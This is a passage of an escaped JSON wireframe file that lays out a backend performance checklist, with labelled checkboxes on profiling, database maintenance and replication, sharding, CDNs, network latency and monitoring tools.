\"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use load balancing to distribute traffic across servers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1764\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"70\",\n          \"w\": \"300\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"956\",\n          \"y\": \"1059\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1765\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"71\",\n          \"measuredW\": \"168\",\n          \"measuredH\": \"28\",\n          \"x\": \"1022\",\n          \"y\": \"1071\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Code Optimization\"\n          }\n        },\n        {\n          \"ID\": \"1766\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"1\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"817\",\n          \"y\": \"1085\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1767\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"72\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1176\",\n          \"properties\": {\n            \"controlName\": \"check:profile-code\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1768\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"73\",\n          \"measuredW\": \"474\",\n          \"measuredH\": \"28\",\n          \"w\": \"474\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"1177\",\n          \"properties\": {\n            \"controlName\": \"profile-code\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"474\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Profile your code to identify performance bottlenecks\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1769\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"74\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1215\",\n          \"properties\": {\n            \"controlName\": \"check:optimize-algorithms\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1770\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"75\",\n          \"measuredW\": \"410\",\n          \"measuredH\": \"28\",\n          \"w\": \"410\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"1216\",\n          \"properties\": {\n            \"controlName\": \"optimize-algorithms\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"410\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Optimize algorithms and data structures used\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1771\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"76\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1252\",\n          \"properties\": {\n            \"controlName\": \"check:critical-paths\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1773\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"78\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1262\",\n          \"properties\": {\n            \"controlName\": \"check:cleanup-data\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1774\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"79\",\n          \"measuredW\": \"491\",\n          \"measuredH\": \"96\",\n          \"w\": \"491\",\n          \"h\": \"96\",\n          \"x\": \"262\",\n          \"y\": \"1263\",\n          \"properties\": {\n            \"controlName\": \"cleanup-data\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"491\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Regularly clean up unused data and perform database\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"438\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"34\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"maintenance tasks like vacuuming, indexing, and\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"170\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"68\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"optimizing queries.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1775\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"80\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1372\",\n          \"properties\": {\n            \"controlName\": \"check:slow-logging\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1776\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"81\",\n          \"measuredW\": \"463\",\n          \"measuredH\": \"28\",\n          \"w\": \"463\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"1373\",\n          \"properties\": {\n            \"controlName\": \"slow-logging\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"463\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Enable slow-query logging and keep an eye on that.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1777\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"82\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"814\",\n          \"y\": \"1976\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1778\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"127\",\n          \"w\": \"189\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"362\",\n          \"y\": \"1897\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1779\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"128\",\n          \"measuredW\": \"75\",\n          \"measuredH\": \"28\",\n          \"x\": \"419\",\n          \"y\": \"1908\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Network\"\n          }\n        },\n        {\n          \"ID\": \"1780\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"129\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"220\",\n          \"y\": \"1974\",\n          \"properties\": {\n            \"controlName\": \"check:network-latency\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1781\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"130\",\n          \"measuredW\": \"447\",\n          \"measuredH\": \"59\",\n          \"w\": \"447\",\n          \"h\": \"59\",\n          \"x\": \"265\",\n          \"y\": \"1976\",\n          \"properties\": {\n            \"controlName\": \"network-latency\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"447\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Minimize network latency by hosting your backend\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"174\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"close to your users.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1782\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"131\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"220\",\n          \"y\": \"2092\",\n          \"properties\": {\n            \"controlName\": \"check:cdns\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1783\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"132\",\n          \"measuredW\": \"471\",\n          \"measuredH\": \"28\",\n          \"w\": \"471\",\n          \"h\": \"28\",\n          \"x\": \"265\",\n          \"y\": \"2094\",\n          \"properties\": {\n            \"controlName\": \"cdns\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"471\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use CDNs for static and frequently accessed assets\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1784\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"83\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1823\",\n          \"properties\": {\n            \"controlName\": \"check:regular-audits\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1785\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"84\",\n          \"measuredW\": \"412\",\n          \"measuredH\": \"28\",\n          \"w\": \"412\",\n          \"h\": \"28\",\n          \"x\": \"264\",\n          \"y\": \"1824\",\n          \"properties\": {\n            \"controlName\": \"regular-audits\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"412\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Regularly audit and update security measures\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1786\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"85\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1710\",\n          \"properties\": {\n            \"controlName\": \"check:authentication-authorization\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1790\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"87\",\n          \"w\": \"300\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"956\",\n          \"y\": \"1640\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1791\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"88\",\n          \"measuredW\": \"215\",\n          \"measuredH\": \"28\",\n          \"x\": \"998\",\n          \"y\": \"1652\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Monitoring and Logging\"\n          }\n        },\n        {\n          \"ID\": \"1792\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"89\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"852\",\n          \"y\": \"1727\",\n          \"properties\": {\n            \"controlName\": \"check:monitoring-logging\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1793\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"90\",\n          \"measuredW\": \"482\",\n          \"measuredH\": \"59\",\n          \"w\": \"482\",\n          \"h\": \"59\",\n          \"x\": \"898\",\n          \"y\": \"1728\",\n          \"properties\": {\n            \"controlName\": \"monitoring-logging\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"453\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implement comprehensive monitoring and logging\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"482\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"to track performance metrics and troubleshoot issues\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1794\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"0\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"817\",\n          \"y\": \"1666\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1795\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"91\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"852\",\n          \"y\": \"1800\",\n          \"properties\": {\n            \"controlName\": \"check:prometheus-graphana\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1796\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"92\",\n          \"measuredW\": \"421\",\n          \"measuredH\": \"28\",\n          \"w\": \"421\",\n          \"h\": \"28\",\n          \"x\": \"898\",\n          \"y\": \"1801\",\n          \"properties\": {\n            \"controlName\": \"prometheus-graphana\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"421\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use tools like Prometheus, Grafana, ELK stack.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1797\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"93\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1415\",\n          \"properties\": {\n            \"controlName\": \"check:replication\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1798\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"94\",\n          \"measuredW\": \"428\",\n          \"measuredH\": \"60\",\n          \"w\": \"428\",\n          \"h\": \"60\",\n          \"x\": \"262\",\n          \"y\": \"1415\",\n          \"properties\": {\n            \"controlName\": \"replication\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"428\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Set up database replication for redundancy and\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"256\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"32\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"improved read performance.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1799\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"95\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1485\",\n          \"properties\": {\n            \"controlName\": \"check:use-db-sharding\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1800\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"96\",\n          \"measuredW\": \"436\",\n          \"measuredH\": \"28\",\n          \"w\": \"436\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"1486\",\n          \"properties\": {\n            \"controlName\": \"use-db-sharding\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"436\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use DB sharding for data distribution if required.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1801\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"97\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1323\",\n          \"properties\": {\n            \"controlName\": \"check:compiled-languages\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1802\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"98\",\n          \"measuredW\": \"492\",\n          \"measuredH\": \"59\",\n          \"w\": \"492\",\n          \"h\": \"59\",\n          \"x\": \"899\",\n          \"y\": \"1323\",\n          \"properties\": {\n            \"controlName\": \"compiled-languages\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"492\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Consider using compiled languages like Go or Rust for\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"388\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"performance-critical parts of your backend.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1803\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"99\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1397\",\n          \"properties\": {\n            \"controlName\": \"check:architectural-styles\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1804\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"100\",\n          \"measuredW\": \"474\",\n          \"measuredH\": \"59\",\n          \"w\": \"474\",\n          \"h\": \"59\",\n          \"x\": \"899\",\n          \"y\": \"1398\",\n          \"properties\": {\n            \"controlName\": \"architectural-styles\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"392\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Look into different architectural styles (SOA,\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"474\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Micro services) and decompose services if required.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1807\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"101\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"961\",\n          \"properties\": {\n            \"controlName\": \"check:orm-queries\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1808\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"102\",\n          \"measuredW\": \"396\",\n          \"measuredH\": \"28\",\n          \"w\": \"396\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"962\",\n          \"properties\": {\n            \"controlName\": \"orm-queries\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"396\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Keep an eye on and fine-tune ORM queries.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1809\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"103\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1002\",\n          \"properties\": {\n            \"controlName\": \"check:lazy-eager\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": 